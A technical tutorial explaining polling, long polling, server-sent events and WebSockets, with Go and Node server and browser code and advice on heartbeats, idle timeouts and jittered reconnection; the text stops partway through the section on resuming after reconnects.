WebSockets, SSE & Long-polling
HTTP only answers questions, so how does a server push a chat message the moment it exists? Polling, long polling, server-sent events and WebSockets — how each works on the wire, how to build them in Go and Node, and the ways long-lived connections fail in production: idle timeouts, reconnect storms, missed messages, slow consumers, scaling and security.
The 30-second version
You build a chat app. Alice types “hi” and her browser sends it to your server. Now Bob's browser should show “hi” right away. But Bob's browser didn't ask for anything, and in plain HTTP a server can only ever answer a request. It has no way to call Bob.
HTTP is a letter, not a phone call
When a browser loads a page or calls an API, it speaks HTTP (HyperText Transfer Protocol): it sends a request (“GET me the messages”) and the server sends back exactly one response. Then that exchange is over.
It's like posting a letter and getting a reply. The server is the shop that answers letters — it can't write to you unless you wrote first, because it has no letter of yours to reply to. (The HTTP topic covers the details; here you only need “ask, answer, done”.)
Couldn't the server just contact Bob's browser directly? No. A web page can't accept incoming connections, and Bob's laptop sits behind a home router (NAT) and a Firewall that block them anyway. Every connection has to start at the browser. So all four techniques below are variations on one trick: the browser reaches out first, and the server keeps that request or connection around so it can answer later.
A connection is not a request
One distinction makes the rest of this topic click. A Connection is the open pipe between browser and server, set up once (the TCP handshake). An HTTP request and its response are one exchange — one envelope there, one envelope back — that travels through that pipe. Browsers keep a connection open and send many requests through it, one after another.
The four techniques differ in what they keep open: long polling keeps one request waiting at the server, SSE keeps one response going, and a WebSocket takes over the whole connection. Flip between them:
Four ways to hear about news
| How it works | Direction | Good for | |
|---|---|---|---|
| Short polling | Ask on a timer (§02) | client asks | Rare updates, dead-simple setups |
| Long polling | Ask; the server waits to answer until there's news (§02) | client asks | A fallback that works through anything |
| Server-sent events | One HTTP response that never ends (§03) | server → browser | Feeds, notifications, live dashboards, AI text streaming |
| WebSocket | Turn the connection into an open two-way pipe (§04) | both ways | Chat, multiplayer, collaborative editing |
The part people underestimate
Opening a long-lived connection takes ten lines of code. Keeping it working is the actual job. Connections die silently behind proxies, thousands of clients reconnect at the same instant after a deploy, messages go missing during a reconnect, one slow phone eats your server's memory, and a second server doesn't know about the first server's users.
Sections 07–10 are about exactly those problems, and they apply to all four techniques. Sections 02–06 build the four techniques themselves, from the simplest to the most capable.
Short polling and long polling
Both techniques use nothing but ordinary HTTP requests, which is their superpower: they work through every Proxy, firewall and corporate network, with any server framework. Start here to see what the fancier options improve on.
Short polling: “anything new?” every 2 seconds
The client keeps track of the last message id it has seen, and on a timer asks for anything newer:
let lastId = 0;
async function poll() {
const res = await fetch(`/messages?after=${lastId}`); // "anything after #lastId?"
if (!res.ok) throw new Error(`HTTP ${res.status}`);
for (const m of await res.json()) { // usually []
if (m.id <= lastId) continue; // already shown: skip
show(m);
lastId = m.id;
}
}
async function pollLoop() {
try {
await poll();
} catch (err) {
console.warn("poll failed, will try again", err); // a failed poll is just skipped
}
setTimeout(pollLoop, 2000); // next ask 2 s after this one FINISHED — never two at once ←
}
pollLoop();The ?after= part matters more than it looks. Because the client says where it got up to, no message is lost or shown twice, even if one poll fails: the next poll simply asks from the same place again. That idea — the client remembers its position and the server sends everything after it — comes back in every technique (§08).
Worked example. With a 2-second interval, a message that arrives just after a poll waits ~2 s; on average ~1 s. Meanwhile 1,000 open tabs make 500 requests per second, nearly all answered “nothing new”. Each of those still carries several hundred bytes of HTTP headers each way and wakes up your server, your database and the user's phone radio. Poll faster and you get news sooner but burn more; poll slower and you save resources but everything feels laggy.
Long polling: the server holds the answer
Long polling flips the waiting around. The client asks the same question, but if there's nothing new the server doesn't answer yet. It parks the request until a message arrives, then replies at once. The client handles the reply and immediately asks again.
The client is a loop. Here it is with the error handling a real one needs:
let lastId = 0;
async function longPollLoop() {
while (true) {
try {
const res = await fetch(`/poll?after=${lastId}`, {
signal: AbortSignal.timeout(35_000), // give up if no answer within 35 s
});
if (res.status === 204) continue; // server's timeout: nothing new, ask again ←
if (!res.ok) throw new Error(`HTTP ${res.status}`);
for (const m of await res.json()) {
show(m);
lastId = m.id;
}
} catch (err) {
console.warn("poll failed, retrying soon", err);
await new Promise((r) => setTimeout(r, 2000)); // don't hammer a broken server
}
}
}
longPollLoop();Why the server answers after 25 seconds, even with no news
A request that hangs forever is dangerous. Somewhere between the browser and your server there's usually a Reverse proxy or Load balancer that kills any request with no reply after a fixed time — often 30 or 60 seconds. The browser would see an error instead of a clean “nothing yet”.
So the server picks a shorter Timeout of its own, say 25 seconds, and answers with the status code 204 No Content (“success, but no body”). The client treats that as “ask again”. The client's own timeout (35 s) is a bit longer than the server's, so it only fires when something is really broken.
The server side in Go
Go makes the “park the request until something happens” part pleasant. Each request runs in its own Goroutine, and a parked goroutine costs only a few kilobytes and no CPU. The trick is how to wake up every parked request at once when a message arrives.
type Message struct {
ID int `json:"id"`
Text string `json:"text"`
}
type Room struct {
mu sync.Mutex
msgs []Message
changed chan struct{} // closed (and replaced) every time a message arrives
}
func NewRoom() *Room { return &Room{changed: make(chan struct{})} }
func (r *Room) Publish(text string) {
r.mu.Lock()
defer r.mu.Unlock()
r.msgs = append(r.msgs, Message{ID: len(r.msgs) + 1, Text: text})
close(r.changed) // wakes EVERY request waiting on the old channel ←
r.changed = make(chan struct{}) // a fresh channel for the next wait
}
// Since returns the messages after `after`, or — if there are none yet —
// a channel that will be closed when the next message arrives.
func (r *Room) Since(after int) ([]Message, <-chan struct{}) {
r.mu.Lock()
defer r.mu.Unlock()
if after < len(r.msgs) {
return slices.Clone(r.msgs[after:]), nil
}
return nil, r.changed
}
func (r *Room) Poll(w http.ResponseWriter, req *http.Request) {
after, err := strconv.Atoi(req.URL.Query().Get("after"))
if err != nil || after < 0 {
after = 0 // missing, junk or negative: start from the beginning
}
timeout := time.NewTimer(25 * time.Second)
defer timeout.Stop()
for {
msgs, wait := r.Since(after)
if msgs != nil { // news already waiting: answer now
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(msgs)
return
}
select { // nothing yet: park here ←
case <-wait: // a message arrived → loop and fetch it
case <-timeout.C:
w.WriteHeader(http.StatusNoContent) // 204: "nothing new, ask again"
return
case <-req.Context().Done(): // the client hung up: stop waiting
return
}
}
}What long polling costs
Long polling feels instant, but it isn't free:
- One full HTTP request per message batch. Busy rooms mean a constant stream of requests, each with its headers. You'll see this in the race in §04.
- A short blind spot. Between receiving one answer and the next request reaching the server (one network round trip), there's no parked request. Messages that arrive then wait for the next request. The
aftercursor makes sure they're delivered, just a little later. - Sending is a separate request. The parked request only carries news down. When the user types, the browser sends a normal
POST.
That's why we usually move on to SSE or WebSockets. But long polling still earns its place as the fallback that always works, and some well-known libraries — for example Socket.IO, a popular real-time library for Node — start every connection with long polling and upgrade to WebSocket if they can.
Server-sent events: one response that never ends
Long polling ends the response after every batch of news, so the client has to send a new request each time. Server-sent events (SSE) skip that: the browser makes one request, and the server keeps the response open for minutes or hours, adding a message each time something happens. It's still plain HTTP — just a response that is very slow to finish.
What's on the wire
You can watch an SSE stream with curl. The -N flag turns off curl's output buffering, so each event prints the moment it arrives:
$ curl -N http://localhost:8081/events
retry: 3000
id: 1
data: {"id":1,"text":"hi"}
id: 2
data: {"id":2,"text":"anyone here?"}
: pingThe response's Content-Type is text/event-stream, and the body is plain text in a tiny format. Each event is a few field: value lines, ended by a blank line:
| Line | Meaning |
|---|---|
data: … | The message itself. Several data: lines in one event are joined with newlines. |
id: 2 | A label for this event. The browser remembers the last one (see below). |
event: typing | An optional event name, so you can listen for different kinds separately. |
retry: 3000 | “If the connection drops, wait 3000 ms before reconnecting.” |
: ping | A line starting with : is a comment. Browsers ignore it; it's used as a keep-alive. |
The browser side: EventSource
Browsers have a built-in client, EventSource. It's about as simple as an API gets:
const source = new EventSource("/events");
source.onmessage = (e) => { // one call per event
const msg = JSON.parse(e.data);
show(msg);
// e.lastEventId is the event's id: line, if it had one
};
source.addEventListener("typing", (e) => showTyping(e.data)); // events with "event: typing"
source.onerror = () => {
// Fires when the connection drops. EventSource reconnects BY ITSELF;
// readyState is CONNECTING (0) while it retries, CLOSED (2) if it gave up.
console.log("stream interrupted, state =", source.readyState);
};
// source.close() when you're done — otherwise it reconnects foreverThe best feature is the one you don't write: automatic reconnection with resume. When the connection drops, EventSource waits (3 s here, from retry:) and opens a new request, adding a Last-Event-ID header with the last id: it saw. Your server reads that header and replays what the client missed. A dropped connection then costs a few seconds of delay, and no messages are lost.
The server side
An SSE server has four jobs: send the right headers, write each event and flush it immediately, replay missed events for reconnecting clients, and stop when the client goes away.
“Flush” is the part people miss. Servers normally collect what you write in a buffer and send it in bigger pieces — great for web pages, useless for a live feed where a 50-byte event could sit in the buffer for minutes. A streaming response has to push each event out by hand.
import { createServer } from "node:http";
const clients = new Set(); // the open SSE responses
const history = []; // recent events, for replay after a reconnect
let nextId = 1;
function send(res, event) {
res.write(`id: ${event.id}\ndata: ${JSON.stringify(event.data)}\n\n`); // one event ←
}
export function publish(data) {
const event = { id: nextId++, data };
history.push(event);
if (history.length > 1000) history.shift(); // keep only the last 1000
for (const res of clients) send(res, event);
}
createServer((req, res) => {
if (req.url !== "/events") return res.writeHead(404).end();
res.writeHead(200, {
"Content-Type": "text/event-stream", // ← this makes it SSE
"Cache-Control": "no-cache",
});
res.write("retry: 3000\n\n"); // ask the browser to wait 3 s before reconnecting
// A reconnecting browser tells us the last id it saw: replay what it missed.
const lastId = Number(req.headers["last-event-id"] ?? 0);
for (const event of history) if (event.id > lastId) send(res, event);
clients.add(res);
const heartbeat = setInterval(() => res.write(": ping\n\n"), 15_000);
req.on("close", () => { // the browser went away
clearInterval(heartbeat);
clients.delete(res);
});
}).listen(8081);The Go version has two details worth copying into any streaming handler:
rc.Flush()instead ofw.(http.Flusher). The old way is a Type assertion:w.(http.Flusher)asks “does thiswalso have aFlushmethod?”. It silently answers “no” when a logging or metrics Middleware has wrappedwin its own type.ResponseControllerlooks through wrappers that provideUnwrap(). The full story is in Structural patterns: wrappers in production.SetWriteDeadline(time.Time{}). If yourhttp.Serverhas aWriteTimeout, it applies to the whole response, so a stream would be cut off after that long. We tested a server withWriteTimeout: 10 * time.Second: without this line,curlreceived the first heartbeat and then the connection died at the 10-second mark.
SSE's limits
- One direction. The server talks, the browser listens. To send a message, the browser makes a normal
POST. For a chat that's often fine: sending is rare compared with receiving. - Text only. Binary data has to be encoded, for example as Base64.
- No custom headers.
new EventSource(url)can't add anAuthorizationheader. It sends cookies, so cookie-based login works; token-based APIs need another approach (§10). Many AI chat APIs stream in the SSE format but read it withfetch()and a stream reader instead, which allowsPOSTand headers — at the cost of writing your own reconnect logic. - The six-connection limit on HTTP/1.1. Browsers open at most about 6 HTTP/1.1 connections per host, shared by all tabs. Each EventSource holds one for as long as it's open. A user with seven tabs of your dashboard gets a seventh tab that never loads, and other requests to your site queue behind the streams. Over HTTP/2, many requests share one connection, so the limit effectively disappears. Serve SSE over HTTP/2 (any modern HTTPS setup does this) — see HTTP/1.1's six-connection hack and HTTP/2: many streams on one connection.
WebSockets: an open line, both ways
With SSE, the server can talk whenever it likes, but the browser still has to make a separate HTTP request to say anything. A WebSocket removes the last restriction. After a short opening exchange (§05), the connection is Full duplex: like a phone call, both ends can talk at once, and neither has to wait for the other.
The browser API
const ws = new WebSocket("wss://chat.example.com/chat"); // starts connecting right away
ws.addEventListener("open", () => {
ws.send(JSON.stringify({ type: "join", room: "general" })); // ← client talks first
});
ws.addEventListener("message", (e) => { // ← server can talk any time
const msg = JSON.parse(e.data); // e.data is a string for text messages
show(msg);
});
ws.addEventListener("close", (e) => {
console.log("closed", e.code, e.reason, e.wasClean); // e.g. 1006 "" false
// e.code is a close code: 1000 = closed normally, 1006 = dropped without a goodbye (§05)
});
ws.addEventListener("error", () => {
// Always followed by "close". It carries no details on purpose: a page
// mustn't learn why a connection to some address failed (security).
});
sendButton.onclick = () => {
if (ws.readyState === WebSocket.OPEN) { // 0 CONNECTING, 1 OPEN, 2 CLOSING, 3 CLOSED
ws.send(JSON.stringify({ type: "say", text: input.value }));
}
};A few things to notice:
wss://is tows://whathttps://is tohttp://: the same thing, encrypted with TLS. Always usewss://in production. Apart from privacy, unencrypted WebSockets often get mangled by proxies that don't understand them.- Messages, not bytes. Each
send()arrives as exactly onemessageevent on the other side. You never see half a message or two glued together. (Compare raw TCP, which is just a stream of bytes with no message boundaries.) - The content is up to you. WebSocket only carries text or binary messages. There are no URLs, methods or status codes inside it, so you invent a small protocol — usually JSON objects with a
typefield, as above. - No reconnect. Unlike EventSource, a closed WebSocket stays closed. Reconnecting, and catching up on what you missed, is your code's job (§08).
Race all four
Here is the same chat room delivered four ways. Messages appear on the server at random; each lane shows when the browser got them. Watch three things: delay (how long a message waited), HTTP requests, and overhead bytes (everything sent that isn't the message itself).
| transport | avg delay | worst | HTTP requests | empty answers | overhead bytes |
|---|---|---|---|---|---|
| Short polling | — | — | 1 (1.00/s) | 0 | 700 B |
| Long polling | — | — | 1 (1.00/s) | 0 | 700 B |
| SSE | — | — | 1 (1.00/s) | — | 700 B |
| WebSocket | — | — | 1 (1.00/s) | — | 700 B |
What to take away:
- Short polling has delay of up to one full interval, and makes requests even when nothing happens (the “empty answers”). Faster polling cuts the delay and multiplies the requests.
- Long polling is nearly as fast as the open connections, but pays a whole HTTP request — headers and all — for every message or batch. On a slow network, the “blind spot” between answer and next request shows up as occasional extra delay.
- SSE and WebSocket deliver in one trip across the network with a handful of bytes per message. The difference shows up when the browser sends: SSE needs a new HTTP request each time, while WebSocket sends a frame (its small unit of data) with 6 bytes of overhead down the line that's already open.
In real life, overhead bytes matter less than the requests: each one wakes up a server, passes through your load balancer, gets checked by your auth code and maybe hits your database. That's the real cost polling multiplies.
Under the hood: the upgrade and the frames
The WebSocket protocol (its spec is RFC 6455, from 2011) has two parts. The opening handshake uses HTTP, so WebSockets can share port 443 with your website and pass through the same load balancers. After that, HTTP is gone, and both sides exchange frames.
Step through a whole conversation
The byte values in the stepper are written in hex: two characters per byte, 00 to ff.
wss://, encrypts it with TLS (TLS). Nothing WebSocket-specific has happened yet.The handshake, in more detail
The Upgrade handshake is a normal GET request with a few extra headers. You can send one by hand with curl and watch the server switch:
$ curl -i -N \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
http://localhost:8090/ws
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Sec-Websocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Upgrade: websocketAfter that, curl is holding a WebSocket connection it can't speak, so press Ctrl+C. (-i shows the response headers; -N stops curl from buffering.)
The Accept value proves the server understood the request. It's computed from the key with a fixed formula. You'll never write this yourself — every library does it — but it's two lines:
import { createHash } from "node:crypto";
const MAGIC = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11"; // a fixed string from RFC 6455
const acceptKey = (key) => createHash("sha1").update(key + MAGIC).digest("base64");
console.log(acceptKey("dGhlIHNhbXBsZSBub25jZQ==")); // s3pPLMBiTxaQ9kYGzzhZRbK+xOo=It takes the key, glues on the magic string, makes a SHA-1 hash of it, and writes that hash in Base64. This is not security. SHA-1 is broken for security purposes anyway, and the key is sent in plain sight. The point is only that a server which doesn't know about WebSockets can't accidentally produce the right answer.
Two more handshake headers you'll meet:
Sec-WebSocket-Protocol: chat.v2lets the client propose one or more subprotocols (names for the message format you invented on top); the server picks one. In JS:new WebSocket(url, ["chat.v2"]).Sec-WebSocket-Extensions: permessage-deflateasks for compression of each message. It saves bandwidth on chatty JSON, but each connection then keeps compression state in memory — often tens of kilobytes — which adds up with 100,000 connections. Many servers leave it off.
Frames
After the 101, everything is a Frame. A frame is a tiny header and then the payload. Play with the builder: type a message and see every byte.
The header holds:
- FIN (1 bit): “this is the last frame of the message”. A big message can be split into several frames — the first with the real type, the rest with opcode 0, “continuation” — and only the last has FIN set. Libraries put the pieces back together; your
messageevent gets the whole thing. - Opcode (4 bits): 1 text (must be valid UTF-8), 2 binary, 8 close, 9 ping, 10 pong.
- MASK (1 bit) and the payload length (7 bits). Lengths up to 125 fit right there; the values 126 and 127 mean “the real length is in the next 2 or 8 bytes”.
- A 4-byte mask key, only on frames from the browser.
So a short message costs 2 bytes of header from the server and 6 from the browser, against several hundred bytes of headers for an HTTP request and response.
Why browsers mask
Masking combines every payload byte with a random 4-byte key using XOR, a bit operation that flips the bits where the key has a 1. Byte 1 uses key byte 1, byte 2 uses key byte 2, and so on, starting over after 4. Here's the first byte of “Hello” from the stepper above:
'H' = 0x48 = 0100 1000
key[0] = 0x37 = 0011 0111
XOR = 0x7f = 0111 1111 ← what actually goes on the wireXOR the result with the same key again and you get 0x48 back, which is how the server unmasks. It looks like encryption but isn't: the key travels in the same frame. The key changes for every frame.
The reason is old, badly written proxies. Researchers showed that a web page could send WebSocket bytes that looked exactly like an HTTP request to a proxy that didn't understand WebSockets. The proxy might then store the attacker's fake response in its Cache and serve it to other people. Because the browser picks the mask at random, the page can't control what bytes actually go on the wire, so it can't craft that fake request. Clients must mask; servers must not — and a server must reject unmasked frames from a client.
Control frames: ping, pong, close
Control frames can be sent in the middle of a long, multi-frame message, but they can't themselves be split, and they carry at most 125 bytes.
- Ping / pong. Either side may send a ping; the other must answer with a pong carrying the same data. Browsers answer automatically, and JavaScript can't send pings at all. Servers use them to check the client is still there (§07).
- Close. The payload is a 2-byte Close code, optionally followed by a short reason. The other side echoes a close frame back, and then the TCP connection is closed.
| Code | Name | When you'll see it |
|---|---|---|
| 1000 | Normal closure | Someone called close() on purpose |
| 1001 | Going away | Page navigated away, or server shutting down |
| 1006 | Abnormal closure | The connection died with no close frame. Never sent; the browser reports it locally. The most common code in production. |
| 1008 | Policy violation | Server rejected you — failed auth, too slow, misbehaving |
| 1009 | Message too big | You sent more than the other side's size limit |
| 1011 | Internal error | The server hit an unexpected error |
| 1012 | Service restart | Server restarting; reconnect (with a delay) |
| 4000–4999 | Yours | Free for your application to define |
In the browser, ws.close() only accepts 1000 or 3000–4999; anything else throws an InvalidAccessError (we checked with Node 22's built-in client: ws.close(1001) throws InvalidAccessError: invalid code). The 1001–1015 range is for the protocol and servers. A close() with no code arrives at the server as 1005 (“no status received”).
Servers in Go and Node
We'll build the same thing twice: a chat server where every message from one client is broadcast to all connected clients. Both use popular third-party libraries, because neither Node nor Go's standard library includes a WebSocket server.
| Node | Go | |
|---|---|---|
| Library | ws (npm install ws) | github.com/coder/websocket (formerly nhooyr.io/websocket), or the older github.com/gorilla/websocket |
Checks the Origin header? | No — you must (§10) | coder: yes by default · gorilla: yes by default |
| Default max message size | 100 MiB (maxPayload) | coder: 32 KiB (SetReadLimit) · gorilla: no limit |
Node: the ws package
import { createServer } from "node:http";
import { WebSocketServer, WebSocket } from "ws"; // npm install ws
const server = createServer((req, res) => res.end("normal HTTP still works here"));
const wss = new WebSocketServer({
server, // share the port with the HTTP server
path: "/chat", // only accept upgrades on this path
maxPayload: 64 * 1024, // refuse messages over 64 KiB (closes with 1009)
});
wss.on("connection", (ws, req) => {
console.log("connected:", req.socket.remoteAddress);
ws.on("error", console.error); // without an 'error' listener, an error crashes the process
ws.on("message", (data, isBinary) => {
for (const client of wss.clients) { // every open connection on THIS process
if (client.readyState === WebSocket.OPEN) {
client.send(data, { binary: isBinary }); // ← relay as-is, sender included
}
}
});
ws.on("close", (code, reason) => console.log("closed:", code, reason.toString()));
});
server.listen(8080);client.send() in Node doesn't wait. It hands the bytes to the operating system's Socket buffer, and if that's full, ws keeps them in memory. A client on a slow connection makes that memory grow without limit. You can see how much is waiting in client.bufferedAmount, and §09 shows what to do about it.
Go: github.com/coder/websocket
Go needs a bit more structure, because many goroutines run at once. The library allows one goroutine reading a connection at a time, while writes may come from anywhere. The common design gives each connection:
- a read loop (the handler's own goroutine) that receives messages and passes them to the hub;
- a write loop (a second goroutine) that sends whatever lands in the connection's outbox, a buffered channel.
Why a separate write loop, if writes are allowed from any goroutine? Because a write to a slow client can take seconds. If broadcast wrote to each connection directly, one slow phone would hold up the message for everyone after it. So the hub's broadcast never writes to a network connection itself. It only drops the message into each outbox, which takes microseconds, and each write loop sends at its own client's pace.
// client is one open WebSocket plus its outbox of messages waiting to be written.
type client struct {
conn *websocket.Conn
send chan []byte // buffered: absorbs short bursts
}
type Hub struct {
mu sync.Mutex
clients map[*client]struct{}
}
func (h *Hub) broadcast(msg []byte) {
h.mu.Lock()
defer h.mu.Unlock()
for c := range h.clients {
select {
case c.send <- msg: // queued for c's write loop
default: // outbox full: c can't keep up → disconnect it (§09)
delete(h.clients, c)
go c.conn.Close(websocket.StatusPolicyViolation, "too slow")
}
}
}
func (h *Hub) serveWS(w http.ResponseWriter, r *http.Request) {
conn, err := websocket.Accept(w, r, nil) // the upgrade; rejects other sites' Origins by default
if err != nil {
return // Accept has already written an HTTP error response
}
defer conn.CloseNow()
conn.SetReadLimit(64 << 10) // refuse messages over 64 KiB
c := &client{conn: conn, send: make(chan []byte, 32)}
h.mu.Lock()
h.clients[c] = struct{}{}
h.mu.Unlock()
defer func() {
h.mu.Lock()
delete(h.clients, c)
h.mu.Unlock()
}()
ctx, cancel := context.WithCancel(r.Context())
defer cancel() // stops the write loop when we return
go h.writeLoop(ctx, c) // ONE goroutine writes…
for { // …and this one reads ←
_, msg, err := conn.Read(ctx)
if err != nil {
return // the client closed, writeLoop failed, or the network broke
}
h.broadcast(msg)
}
}
func (h *Hub) writeLoop(ctx context.Context, c *client) {
for {
select {
case msg := <-c.send:
wctx, cancel := context.WithTimeout(ctx, 5*time.Second) // a write may not hang forever
err := c.conn.Write(wctx, websocket.MessageText, msg)
cancel()
if err != nil {
return // the library closes the connection on any error
}
case <-ctx.Done():
return
}
}
}
func main() {
hub := &Hub{clients: map[*client]struct{}{}}
http.HandleFunc("/chat", hub.serveWS)
log.Fatal(http.ListenAndServe(":8080", nil))
}gorilla/websocket in one paragraph
You'll meet github.com/gorilla/websocket in many existing codebases. It works the same way in spirit: upgrader.Upgrade(w, r, nil) instead of Accept, conn.ReadMessage() / conn.WriteMessage() instead of Read/Write, and deadlines (SetReadDeadline, SetWriteDeadline) instead of contexts. Its rule is strict: at most one goroutine may write at a time — two goroutines writing to one connection is a Data race that corrupts frames. The write-loop design above is how you obey it.
Staying alive: idle timeouts and heartbeats
Your WebSocket chat works perfectly in development. In production, users complain that they “stop getting messages” after a quiet minute, and your server's connection count keeps creeping up even though users have left. Two different failures, one cure.
Failure 1: the idle timeout
Between the browser and your server there are usually several machines: a corporate proxy, a CDN, a Load balancer, a Reverse proxy like nginx. Each one keeps a table entry and some memory for every connection passing through it. To avoid filling up with abandoned connections, each one closes connections that have been silent for a while — an Idle timeout.
Common defaults are around 60 seconds (nginx's proxy_read_timeout, AWS Application Load Balancer's idle timeout), sometimes 100 seconds or a few minutes for others. Check yours: they change between products and versions. A chat room that's silent for longer than that gets cut. The middle box usually just drops the connection without a WebSocket close frame, so your close handler sees code 1006.
Failure 2: the peer that vanished
Now the opposite case. A user on a phone walks into a lift and loses signal. Their phone doesn't send a close frame — it can't. Your server still holds the connection, its goroutine or event listeners, and its buffers.
How long until the server notices? Surprisingly, possibly never if it doesn't send anything. TCP learns that the other side is gone only when it sends data and gets no acknowledgement — and even then it retries for many minutes before giving up. Until then you have a Half-open connection. Multiply by thousands of users on mobile networks, and you have a server full of ghosts: memory and file descriptors held for nobody.
TCP has its own keep-alive probes, but on Linux they start only after 2 hours of silence by default. They also only cover one hop, and since they carry no data, proxies don't count them as activity.
The fix: heartbeats
A Heartbeat is a small message sent on a timer, with an expected reply. It solves both failures:
- Regular bytes keep every idle timer along the path from running out.
- A missing reply tells you the other side is gone, so you can close the connection and free its resources.
The server sends a WebSocket ping every 25–30 seconds (comfortably under the shortest idle timeout on the path). The browser answers with a pong automatically. No pong by the next round means the client is dead.
const HEARTBEAT_MS = 30_000;
wss.on("connection", (ws) => {
ws.isAlive = true;
ws.on("pong", () => { ws.isAlive = true; }); // the client answered our last ping
// … message handlers as in §06 …
});
const timer = setInterval(() => {
for (const ws of wss.clients) {
if (!ws.isAlive) { // no pong since the previous round → dead ←
ws.terminate(); // drop it now, no close handshake (the peer can't answer anyway)
continue;
}
ws.isAlive = false; // a pong must set this back to true before the next round
ws.ping();
}
}, HEARTBEAT_MS);
wss.on("close", () => clearInterval(timer));The browser needs a heartbeat too
Pings protect the server. But the browser can be fooled the same way: if the server or the network path dies silently, ws.readyState stays OPEN and your app shows a chat that will never update again. Browser JavaScript can't send pings or see pongs, so use an application-level heartbeat: have the server send a tiny message regularly ({"type":"ping"}, or the SSE comment line : ping from §03), and have the client watch the clock:
function connect() {
const ws = new WebSocket("wss://chat.example.com/chat");
let watchdog;
const resetWatchdog = () => {
clearTimeout(watchdog);
// The server sends something at least every 30 s. Silence for 45 s means the line is dead.
watchdog = setTimeout(() => {
ws.onmessage = ws.onclose = null; // ignore anything the dead socket does from now on
ws.close(4000, "heartbeat timeout"); // tidy up in the background…
reconnectSoon(); // …but don't wait for that to finish (§08)
}, 45_000);
};
ws.onopen = resetWatchdog;
ws.onmessage = (e) => {
resetWatchdog(); // any message proves the line is alive
const msg = JSON.parse(e.data);
if (msg.type === "ping") return; // heartbeat only, nothing to show
show(msg);
};
ws.onclose = () => {
clearTimeout(watchdog);
reconnectSoon();
};
}ws.close(4000, …) uses a code from the 4000–4999 range, which is free for applications. Closing a socket whose network path is dead can take a long time, because the browser waits for a goodbye that will never come. So the watchdog doesn't wait for the close event: it detaches the old socket's handlers (ws.onmessage = ws.onclose = null, so a late event can't trigger a second reconnect) and starts a new connection right away. reconnectSoon() stands for the backoff-and-jitter logic from §08.
How often? Shorter intervals detect dead peers faster and survive stricter proxies, but every ping wakes up phone radios and costs a little CPU per connection. 20–30 seconds is the usual compromise for chat. Note that the browser watchdog's limit (45 s) is longer than the server's send interval (30 s), so one late heartbeat doesn't trigger a reconnect.
Reconnecting without a stampede or a gap
Connections drop all the time: phones switch networks, laptops sleep, proxies time out, and you deploy a new version of your server several times a day. Each drop raises two questions: when do I reconnect, and what did I miss?
When: the reconnect storm
Imagine 50,000 clients connected to one server, and you restart it. All 50,000 connections drop in the same instant. If each client reconnects right away — or after exactly 1 second — they all hit the new server in the same instant too. Each reconnect is expensive for the server: a TCP and TLS Handshake, an auth check, maybe loading the user's state from the database. The server falls over, the connections drop again, and everyone retries together again. This is the Thundering herd.
The fix has two parts:
- Exponential backoff: wait longer after each failure — 1 s, 2 s, 4 s, 8 s… up to a cap (say 30 s). A struggling server gets breathing room.
- Jitter: make each wait random. Pick a delay anywhere between 0 and the current ceiling. Clients that failed together then retry at different moments.
Backoff alone isn't enough, because clients that failed together also back off together: they all wait exactly 2 s, then exactly 4 s, and arrive in the same synchronized waves. Try all four strategies:
The red bars are failed handshakes — wasted work that, in this model, also slows down the server's useful work. With jitter, the attempts per tick stay close to what the server can actually handle, so it gets everyone back quickly with very little waste. (This “random between 0 and the ceiling” style is often called full jitter.)
const BASE_MS = 1000, CAP_MS = 30_000;
let attempt = 0;
let lastSeq = 0; // the last message number we've shown (see "What did I miss?")
let stopped = false; // true once the user leaves the chat on purpose
let current = null; // the socket we're using right now
function connect() {
const ws = new WebSocket(`wss://chat.example.com/chat?since=${lastSeq}`);
current = ws;
let openedAt = 0;
ws.onopen = () => { openedAt = Date.now(); };
ws.onmessage = (e) => {
const msg = JSON.parse(e.data);
if (msg.type === "ping") return; // heartbeat (§07): no seq, nothing to show
if (msg.type === "reset") return reloadState(); // history too short: reload over HTTP
if (msg.seq <= lastSeq) return; // a duplicate we've already shown: skip
if (msg.seq > lastSeq + 1) { // a gap: we missed something
ws.close(4001, "gap"); // reconnect, which resumes from lastSeq
return;
}
lastSeq = msg.seq;
show(msg);
};
ws.onclose = (e) => {
if (stopped || e.code === 4401) return; // we left on purpose / not logged in: don't retry
if (openedAt && Date.now() - openedAt > 10_000) attempt = 0; // it was healthy: start over
const ceiling = Math.min(CAP_MS, BASE_MS * 2 ** attempt);
const delay = Math.random() * ceiling; // full jitter: anywhere in [0, ceiling) ←
attempt++;
setTimeout(connect, delay);
};
}
function leaveChat() { // e.g. the user closes the chat panel
stopped = true;
current?.close(1000, "bye");
}
connect();Three details in that code that matter in production:
- Don't retry what can't succeed — but don't trust the code alone. If the server closed with “not logged in” (here an app-defined
4401), retrying every few seconds forever just hammers your auth service; send the user to the login page instead. But don't treat code 1000 as “stop”: a server may close normally too (an idle clean-up, a deploy), and the client should come back. Thestoppedflag records whether we chose to leave. - Reset the backoff only after a healthy connection. If a server accepts connections and then crashes a second later, resetting
attempton everyopenwould keep clients retrying at the shortest delay. Both versions reset only after 10 s of being connected. - Jitter the server side too. When a server shuts down on purpose, it shouldn't close all its connections at once either (§09).
What: resuming without gaps or duplicates
While a client is disconnected, the room keeps talking. When it comes back, it needs exactly the messages it missed — no gaps, no repeats. The tool is a Sequence number: the server stamps every message in a room with a number that goes up by one, and the client remembers the last one it showed.
1ws.onmessage = (e) => {2 const msg = JSON.parse(e.data);3 if (msg.type === "ping") return;4 if (msg.type === "reset") return reloadState();5 if (msg.seq <= lastSeq) return; // duplicate6 if (msg.seq > lastSeq + 1) { // gap7 ws.close(4001, "gap"); // → reconnect8 return;9 }10 lastSeq = msg.seq;11 show(msg);12};
lastSeq = 41.On the server, that means:
- Keep recent history per room, for example the last 1,000 messages or the last 5 minutes, in memory, in Redis, or in your database.
- On connect, read
sinceand send everything after it before any live messages. Just like the Go SSE hub in §03, take the history and subscribe under one lock, or a message can slip in between the two. - If
sinceis too old — older than your history — don't pretend. Send a{"type":"reset"}message, and let the client reload the full state over normal HTTP.
